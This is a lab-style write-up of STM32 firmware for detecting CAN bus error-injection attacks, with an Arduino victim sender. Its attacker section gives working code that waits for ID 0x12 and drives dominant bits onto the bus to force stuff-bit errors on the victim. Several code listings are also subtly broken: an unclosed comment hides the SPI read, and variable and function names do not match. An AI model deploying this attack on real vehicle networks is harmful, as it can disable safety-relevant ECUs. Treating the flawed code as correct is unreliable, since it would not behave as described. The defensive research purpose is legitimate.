

CODE DESCRIPTION

IDS

Firstly, defined all the states of a CAN and CAN-FD frame, and defined a Maximum size variable to store the bytes in myRxFifo and also for keeping track of readIndex and processIndex value so that I can reset them for continuous reception.

```
#define IDLE      0
#define ID        1
#define RTR       2
#define IDE       3
#define R0        4
#define BRS       5
#define ESI       6
#define DLC_FD    7
#define DATA_FD  8
#define DLC       9
#define DATA     10
#define CRC_CAN   11
#define CRCDEL    12
#define CRC_FD    13
#define CRCDEL_FD 14
#define ERRORFLAG 15
#define ERRORDEL  16
#define IF        17
#define OVERFLAG  18
#define OVERDEL   19

#define MAX_SIZE  65536
```

Also defined other variables for keeping code simpler they are well commented to explain their purpose. Few of them are shown in the figure below.

```
char data[5000];           // buffer used to print with UART
volatile uint8_t RxData;   // temporary variable where the content of RXFIFO is stored
uint8_t bits[8];          // split and store bits from RxData
volatile uint8_t bit = 1;  // compute (majority o ignoranza) the read bit and store it
uint8_t currentState = IDLE; // state used in the FSM
uint8_t STUFF = 0;        // stuff bit counter
uint8_t PC = 0;           // counter to update STUFF and CRC_STUFF (Polarity Counter)
int BC = 0;               // number of read bits counter (Bit Counter)
int CC = 0;               // used to update CRC_STUFF (CRC Counter)
uint8_t formError = 0;    // used to signal a form error occurred
uint8_t previousBit = 1;  // used to update PC
int TEC = 0;              // Transmit Error Counter (of the protected ECU)
int IC = 0;               // Intermission Counter, used to go back to IDLE state
int DC = 0;               // Dominant Counter used in ERRORFLAG
int RC = 0;               // Recessive Counter used in ERRORFLAG and ERRORDEL
uint8_t RTRbit;           // store RTR bit, used in Classical CAN
uint8_t IDEbit;           // store IDE bit, used for 29 bit IDs (TODO)
uint8_t ESIbit;           // store ESI bit, maybe useless or useful to double check
uint8_t BRSbit = 0;       // store BRS bit, used in CAN FD
uint8_t CRC_LEN;          // CRC length (15 for Classical CAN, 17 or 21 for FD)
uint8_t CRC_STUFF;        // CRC stuff bit counter (FD version)
uint8_t stuffedBit = 0;    // boolean value used to say if the current bit is a stuff bit
uint8_t CurrentID[11];    // array to store the current frame's ID
uint8_t currentDLC[4];    // array to store the current Data Length Code
uint8_t DL;               // variable computed from currentDLC
uint8_t currentPayload[512]; // array to store the current Payload (not really useful)
int byteSize;             // temporary variable to store the DLC code integer translation
volatile uint8_t myRxFifo[MAX_SIZE]; // FIFO where the IRS stores the read bits
uint8_t myInt = 255;
volatile int readIndex = 0; // index of the last bit read and then written in myRxFifo
volatile int processIndex = 0; // index of the next bit to process from myRxFifo
int p = 7;                 // actual index used to take the value from myRxFifo
volatile int FIRST = 1;    // flag to signal it's the first frame, set to 0 when we read the first S
```

Now to explain SPI configuration details referring to picture pasted below. I am using registers instead of SPI_HAL library because of its increased delays. The first line depicts the enabling of SPI peripheral clock. In 2nd line I am setting clock polarity to 1. Then I am using master mode. In 4th line I am setting the baud rate parameters used to compute the final SPI clock to 2 Mbps so that I can achieve oversampling of 8 bits (i.e. SPI CLK = 64MHz /BR (BR= 32)). In next line I am setting MSB first. Then I am setting clock signal to be managed as software and not through hardware. Next line depicts full duplex mode of communication, and last line first sets the threshold to flag RXFIFO Not Empty (RXNE) at 8 bit, and then enables SPI interrupts on the RXNE flag. This means that as soon as RXFIFO contains 8 bits out of 16, RXNE flag is set and an ISR is triggered.

```
void SPI_Config(void){
    /* Configure SPI Peripheral */

    RCC->APB2ENR |= (1<<12);      // Enable SPI1 Peripheral Clock

    SPI1->CR1 |= (1<<1);           // CPOL = 1
    SPI1->CR1 |= (1<<2);           // MSTR = 1, Master mode

    SPI1->CR1 |= (4<<3);           // BR[2:0] = 100 -> 32,    clk_SPI = 64 MHz/32 = 2 MHz

    SPI1->CR1 &= ~(1<<7);          // LSBFIRST = 0, MSB first
    SPI1->CR1 |= (1<<8) | (1<<9);  // SSM = 1 and SSI = 1, CS software management
    SPI1->CR1 &= ~(1<<10);        // RXONLY = 0, full-duplex

    SPI1->CR2 = SPI_CR2_FRXTH | SPI_CR2_RXNEIE; // set RX Threshold to 1 (8 bit = Not Empty) and Enable RXNE Interrupt
    // DS will be forced to 8bit = 0111
```

The actual reading routine is carried out in the ISR. By default, a callback function named SPI1 IRQHandler needs to be written after the RXNE interrupt is enabled. In order to quickly depart the ISR and be prepared to handle the following interrupt without missing any, this method should be as quick as feasible. In fact, a longer routine would make the processor preempt operations, which would lead to a loss of precision in both this and the main function.

```

void SPI1_IRQHandler(void) {
    /* RXNE Interrupt Callback */

    /* ----- 1 bit at a time, save all 8 subbits ----- */
    //Here I am check if the RXNE flag in the SPI status register (SR) is set, indicating the receive buffer is not empty
    if(readIndex== MAX_SIZE || processIndex== MAX_SIZE){
        readIndex = 0;
        processIndex = 0;
    }

    if ((SPI1->SR & SPI_SR_RXNE) != RESET) {
        /*(volatile uint8_t *)&SPI1->DR = 0xff;

        // reads the received data from the SPI data register (DR)
        RxData = *(volatile uint8_t *)&SPI1->DR;

        //check if the received data is not 255 (RxData == 255) when FIRST is true
        if(!(FIRST && (RxData == 255))){
            FIRST = 0; // it is to avoid idle bits at the beginning

            if (readIndex > 15 && readIndex < 18){

                SPI1->DR = 0xffff;

            }

            myRxFifo[readIndex] = RxData; // save int in my fifo
            readIndex++; // Update index

        }
    }
}

```

This is the interrupt routine function I am using to receive data over SPI interface. In start the “If condition” check if the readIndex (variable to keep track of read bytes) or processIndex (variable to keep track of currently processed byte) value is equal to MAX_SIZE which is 65536, if yes it will set both the values to 0 so that the program can continuously receive the data. Then the next if condition is checking if the RXNE flag in the SPI status register (SR) is set, indicating the receive buffer is not empty to start receiving data. Next if condition is checking if the readIndex value is 16 or 17 it will send all 1s on the receiver line to keep it recessive. Next line reads the received data from the SPI data register (DR) and store it in the RxData variable. Next if condition checks if the received data is not 255 (RxData == 255 (all 1s)) and variable FIRST is set to true (so that we can avoid IDLE bits in the beginning) if condition is true, I set the FIRST variable to 0 to indicate that I have received the first byte of the frame and stores the value in RxData in myRxFifo array. After that I increment the readIndex value to move onto next byte. At the end of this function I clears the RXNE flag to acknowledge that the receive buffer is now empty with this line of code.

```
“SPI1->SR &= ~SPI_SR_RXNE;”
```

Now coming over to main function. Initially I reset all peripherals then initializes my important functions, after that enabled RXNE interrupt from SPI peripheral then write into data register 1s (ffff) to keep everything recessive. After that start Reading MISO by enabling SPI peripheral and CS pin as depicted in figure pasted below.

```

/* Reset of all peripherals, Initializes the Flash interface and the Systick. */
HAL_Init();

/* USER CODE BEGIN Init */

/* USER CODE END Init */

/* Configure the system clock */
SystemClock_Config();

/* USER CODE BEGIN SysInit */
SPI_Config();
SPI_GPIO_Config();
LED_GPIO_Config();
/* USER CODE END SysInit */

/* Initialize all configured peripherals */
MX_GPIO_Init();
MX_ICACHE_Init();
MX_LPUART1_UART_Init();
/* USER CODE BEGIN 2 */

// enable RXNE interrupt from SPI peripheral
NVIC_EnableIRQ(SPI1_IRQn);
HAL_Delay(10);

// write into TXFIFO - keep everything recessive
SPI1->DR = 0xffff;

// start Reading MISO by enabling SPI peripheral and CS pin
SPI1->CR1 |= (1<<6);           // SPI Peripheral Enable
GPIOA->BSRR |= (1<<4)<<16;     // CS Enable

```

Now coming over to my while loop. In start I wait until there is something to process in myRxFifo by checking the variables processIndex and readIndex. Then in next if condition I check if the current-State is Idle I store the byte in myRxFifo in another variable Int and then check in next if condition whether its value is 255 (all 1s) or not, if its value is 255 I move onto next byte by incrementing processIndex and continue doing so till the time I receive a byte whose value is not equal to 255. As I have to continuously extract the current subbit, bitwise operations are what I want to parse. Specifically, I use processIndex as the array's index, and a variable named "p" is defined which indicates the subbit's current location within the array element initialized to 7 (beginning with the leftmost subbit). Every loop iteration calls the fix index function, which updates the p and processIndex variables and allows us to "move right" in the subbit sequence. Prior to initiating the parsing function, the algorithm waits for the ISR to read the first bit of a frame (via the FIRST variable). Once I reach that bit will enter in else part, here I check every bit in that byte starting from left to reach the first 0 (SOF bit) which is indication of Start of Frame. Once I reach that particular bit I store it in variable bit and reset the variables. As we cannot ensure that the sampling result is precisely timed with the bit transmission because we are continuously reading from the MISO line. All of the recessive subbits that come before the first dominant subbit, which denotes the beginning of the SOF subbit sequence, must be skipped. Because SOF is always transmitted at nominal bit-rate, we now shift an offset to get to the middle subbit by equaling :

$$\text{START INDEX} = (\text{NOM SIZE}/2) - 1.$$

The function `fix_index` only checks if the value of variable `p` is less than 0 it resets it to make it equal to 7 again and increment the `processIndex` variable as shown below:

```
while (1)
{
    // wait until there is something to process in my FIFO
    while(processIndex >= readIndex){}

    // ----- FIFO INDEX NORMALIZATION -----

    // keep SPI queue full of recessive bits
    SPI1->DR = 0xffff;

    if(currentState == IDLE){
        myInt = myRxFifo[processIndex];

        if(myInt == 255){    // no need to check (all 1s), check next cell
            processIndex++;
            continue;
        }

        else{                // i need to get to the exact first 0 subbit, all 0s included

            bit = (myInt >> p) & 1;    // take the first bit from left
            while(bit != 0){
                p--;                // shift position
                bit = (myInt >> p) & 1;    // get new subbit
            }
            p -= START_INDEX;        // when OK, fix index

            bit = (myInt >> p) & 1;    // take the bit (mmmh)

            // need to check if it is a real SOF or a single sample failure
            fix_index();
        }
    }
}
```

```
void fix_index(){
    while(p < 0){
        p += 8;
        processIndex++;
    }
}
```

Now coming over to portion where I update counters and check for errors like stuff bit exceptions etc. Here after storing the actual bit in variable “bit” I store it in bitstream array so that I can print the entire frame whenever I need it and increment variable `i` and `BC` (bit count). Then I set the `stuffedBit` variable to 0 and check in the next if condition if the bit is equal to previous bit, if yes, increment the polarity counter. If this is not the case code goes to else part and checks whether the `currentState` is between `ID` and `CRC_CAN` and polarity counter value is equal to 4 (starting from 0) or not. This is to check that the current bit is stuff bit or not. As according to CAN frame rules after every 5 consecutive bits a stuff bit is automatically injected to avoid attacks. If the condition is true sets the `stuffedBit` variable to 1 so that we can ignore it and increment variable `STUFF` to keep count of number of stuff bits. After this the `PC` variable is again set to 0 for keeping track of next stuff bit. The next if condition check states where bit stuffing rule is applied from `ID` to `CRC_CAN` and checks if `PC` is equal to 5 then it changes the `currentState` to `ErrorFlag` and stores the `processIndex` value in variable `test` to be used later.

```

// ----- UPDATE COUNTERS AND CHECK ERRORS -----
// fix p and processIndex if p is < 7
fix_index();

bit = (myRxFifo[processIndex] >> p) & 1; // take the actual bit
// Print each bit
// sprintf(data, "BIT %d = %d\r\n", i, bit);
// HAL_UART_Transmit(&hlpuart1, (uint8_t *)data, strlen(data), 1000); // debug
bitStream[i] = bit;
i++;

BC++;
// reset stuff bit flag
stuffedBit = 0;

// Polarity Count update
if(bit == previousBit)
    PC++;
else{
    if(PC == 4 && currentState >= ID && currentState <= CRC_CAN){ // if I have 5 identical bit and now a diff
        stuffedBit = 1; // I should ignore this bit
        STUFF++; // STUFF count update
    }
    PC = 0;
}
previousBit = bit;

// in states where bit stuffing rule is applied -> from ID to CRC_CAN

if(PC == 5 && currentState >= ID && currentState <= CRC_CAN) // BIT STUFFING rule exception
{
    currentState = ERRORFLAG;
    test = processIndex;
}

```

In next part after If statement check if the bit read is stuff or not, if it is stuff bit I need to ignore it otherwise go on to my FSM and by using switch statement on variable currentState to go on from case to case to iterate between the CAN frame states. The code is self-explanatory in this part, so it doesn't require explanation.

```

// ----- FSM TRANSITIONS AND STATE UPDATE -----
// if the bit I'm reading is not the stuff bit itself OK, otherwise I need to ignore it
if(!stuffedBit){

    switch(currentState){

        case IDLE:

            if(bit == 0) // change state if dominant (SoF), nothing otherwise
                currentState = ID;
            break;

        case ID:
            currentID = (currentID << 1) + bit;
            CurrentID[BC-2-STUFF] = bit; // save ID bit by bit

            if(BC == 12+STUFF) // if ID is finished go to RTR
            {
                currentState = RTR;
                id_array[tot] = currentID;

                sprintf(data, "ID = %d\r\n", currentID);
                HAL_UART_Transmit(&hlpuart1, (uint8_t *)data, strlen(data), 1000);
            }
            break;

        case RTR:
            RTRbit = bit; // just save RTR and change state
            currentState = IDE;

            break;

        case IDE:

```

Now I need to explain the logic applied for detection of attack which exploits stuff-bit exception rule and generate attack by sending 6 consecutive 0s. In the code below Once the occurrence of 6 consecutive 0s is detected the state enters ERRORFLAG as explained above. Here I put a for loop and go back 12 bytes and check whether the received bytes value is equal to all 0s or 1s or not, I put this condition because I am oversampling by a rate of 8 bits so every single bit traveling on the bus received by IDS depicts 1 complete byte. So if there is some attacker who is generating an attack there is quite less chances that its occurrence of 0s exactly starts from the start of byte e.g if victim is sending a payload 1101 it will be received on IDS as (11111111 11111111 00000000 11111111) but if an attacker who is reading the bus and generating an attack once it detects the victim ID by sending 6 consecutive 0s, its attack on the bus will most likely be in this form (11111111 11100000 00000000 00000000) meaning by it will start during the reception of 1s or for that matter 0s as well if at that particular point 0s byte is being received. I also included the states in which first bit of a particular byte is changed to 0 because of some noise to avoid checking those bytes (but only those which have rest of the bits as 1). Then I also put a condition to check the next 2 bytes of that particular byte to see if they are 0 or not to be sure that the byte I detected is not changed because of some noise, if next 2 bytes are 0 as well then I will be sure that the next bytes are 0 as well hence that could be an occurrence of the attack. I used this method because as per my understanding the error flag initiated by victim will always be starting as per the set pattern meaning by it will always start from the start of the byte and not start from during the reception of some other byte. If the above-mentioned conditions are true the attack flag will be printed over LPUART. Then the currentState is changed to ERRORDEL. I can also keep track of TEC and increment it every time the attack is detected. In start of while loop There is a line of code to check if the TEC>256 it will turn on the red LED.

```
case ERRORFLAG:
```

```
    for(int j=processIndex-12; j<=processIndex+2; j++){
        uint8_t byte = myRxFifo[j];
        uint8_t byte1 = myRxFifo[j+1];
        uint8_t byte2 = myRxFifo[j+2];

        if (byte != 0x00 && byte != 0xff && byte != 0x01 && byte != 0x7f) {

            if(byte1 == 0x00 && byte2 == 0x00){
                char bitStr1[25];
                snprintf(bitStr1, sizeof(bitStr1), "\r\n Attack: TEC= %d \r\n", TEC);
                HAL_UART_Transmit(&h1puart1, (uint8_t*)bitStr1, strlen(bitStr1), HAL_MAX_DELAY);
                HAL_Delay(2000);
                LED_GPIO_On();
                currentState = ERRORDEL;
                TEC+=8;
                break;
            }
        }
    }
```

```

> void RED_LED_GPIO_On(void){
    /* Enable LED_Green Pin */

    GPIOA->BSRR |= (1<<9);
}

> void RED_LED_GPIO_Off(void){
    /* Disable LED_Green Pin */

    GPIOA->BSRR |= (1<<9)<<16;
}

```

After this within ERROR-Flag case I am handling the case where an error is detected during DATA, transmitted at ARB rate if this is the case, I have to skip all redundant subbits, deactivate BRS and go to the next bit at the next iteration as shown below. If none of the conditions are met then simply the state is changed to Error-Delimiter.

```

//          // need to handle the case where an error is detected during DATA, transmitted at ARB rate
            if(BRSbit == 1){

                // skip all redundant subbits, deactivate BRS and go to the next bit at the next iteration
                p -= SKIP_SIZE;
                BRSbit = 0;
                continue;
            }
}

```

If non of the above mentioned states are true

ATTACKER

In attacker code rest all the reception logic is same as of IDS the only change is when a particular ID is detected. As shown below once a particular ID is detected the CS pin is enabled and condition is placed to check whether the Transmit buffer is empty or not if its empty the next line of code is a while loop that checks the status register (SR) of a Serial Peripheral Interface (SPI) to see if its not busy. Then it sends 11000000 on the data register (I am sending C0 because I cannot send only six 0s on the bus I have to send a complete byte so if I am just sending 0xb000000 there will be a total of eight 0s sent on the bus). After this I confirm that the value of my DR is equal to the value, I want to send which is stored in myTxData variable. If this condition is true I print Data sent using LPUART. Every time the attack is generated green LED will blink on the board.

```

case ID:
    currentID = (currentID << 1) + bit;
    CurrentID[BC-2-STUFF] = bit;    // save ID bit by bit

    if(BC == 12+STUFF)    // if ID is finished go to RTR
    {
        currentState = RTR;
        id_array[tot] = currentID;

        if (currentID== 18) {
            LED_GPIO_On();

            GPIOA->BSRR |= (1<<4)<<16;
            // Wait until the transmit buffer is empty
            while ((SPI1->SR & SPI_SR_TXE) == 0);
            while ((SPI1->SR & SPI_SR_BSY) != 0) {
                SPI1->DR = 0xc0;
                if (SPI1->DR == myTxData)
                {
                    char bitStr[18];
                    snprintf(bitStr, sizeof(bitStr), "Data sent: %x \r\n", myTxData);
                    HAL_UART_Transmit(&h1puart1, (uint8_t*)bitStr, strlen(bitStr), HAL_MAX_DELAY);

                    HAL_Delay(1000);
                    SPI1->DR = 0xffff;

                    SPI1->SR &= ~SPI_SR_TXE;
                    GPIOA->BSRR |= (1<<4);
                    break;
                }
            }
        }
    }
}

```

Victim:

Victim code is quite simpler one as it is implemented on Arduino board. In void setup function I am setting the serial interface speed to 115200 as set for other LPUART interfaces on Nucleo boards. Then the CAN bus is started at 500 kbps speed and if it doesn't start a message stating "Starting CAN failed!" will be printed.

Next in Void loop function the CAN frame ID is set to 0x12 and then three bytes of data is sent. As I am Importing CAN.h API so data will be sent as per standard CAN frame. Once the data is sent "Done will be printed on serial interface". The code is pasted below:

```
#include <CAN.h>

void setup() {
  Serial.begin(115200);
  while (!Serial);

  Serial.println("CAN Sender");

  // start the CAN bus at 500 kbps
  if (!CAN.begin(500E3)) {
    Serial.println("Starting CAN failed!");
    while (1);
  }
}

void loop() {
  // send packet: id is 11 bits, packet can contain up to 8 bytes of data
  Serial.print("Sending packet ... ");

  CAN.beginPacket(0x12);
  CAN.write(0xF7);
  CAN.write(0x5D);
  CAN.write(0x36);
  CAN.endPacket();

  Serial.println("done");
}
```